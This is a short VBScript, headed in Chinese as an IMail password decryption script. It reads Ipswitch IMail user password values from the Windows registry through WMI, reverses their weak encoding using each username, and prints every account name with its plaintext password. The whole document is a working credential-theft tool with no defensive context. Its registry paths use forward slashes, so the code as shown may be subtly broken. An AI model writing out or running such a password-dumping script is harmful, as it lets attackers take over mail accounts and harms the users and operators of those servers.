vbs imail 密码解密

on error resume next 
const HKEY_LOCAL_MACHINE = &H80000002 
strComputer = "." 
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!//" &_ 
strComputer & "/root/default:StdRegProv") 
strKeyPath = "SOFTWARE/Ipswitch/IMail/Domains" 
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys 
For Each subkey In arrSubKeys 
wscript.echo "Domain: "&subkey 
strKeyPath2 = strKeyPath&"/"&subkey&"/Users" 
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2 
For Each subkey2 In arrSubKeys2 
strKeyPath3=strKeyPath2&"/"&subkey2 
strValueName = "Password" 
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue 
if len(subkey2) and len(strValue) then 
wscript.echo subkey2 &" : " & decrypt(subkey2,strValue) 
end if 
Next 
Next 

function decrypt(name,pass) 
while len(name)<len(pass)/2 
name=name&name 
wend 
for i=0 to len(pass)/2-1 
p=mid(pass,2*i+1,2) 
p="&H"&p 
n=mid(name,i+1,1) 
decrypt=decrypt&chr(clng(p)-asc(n)) 
next 
end function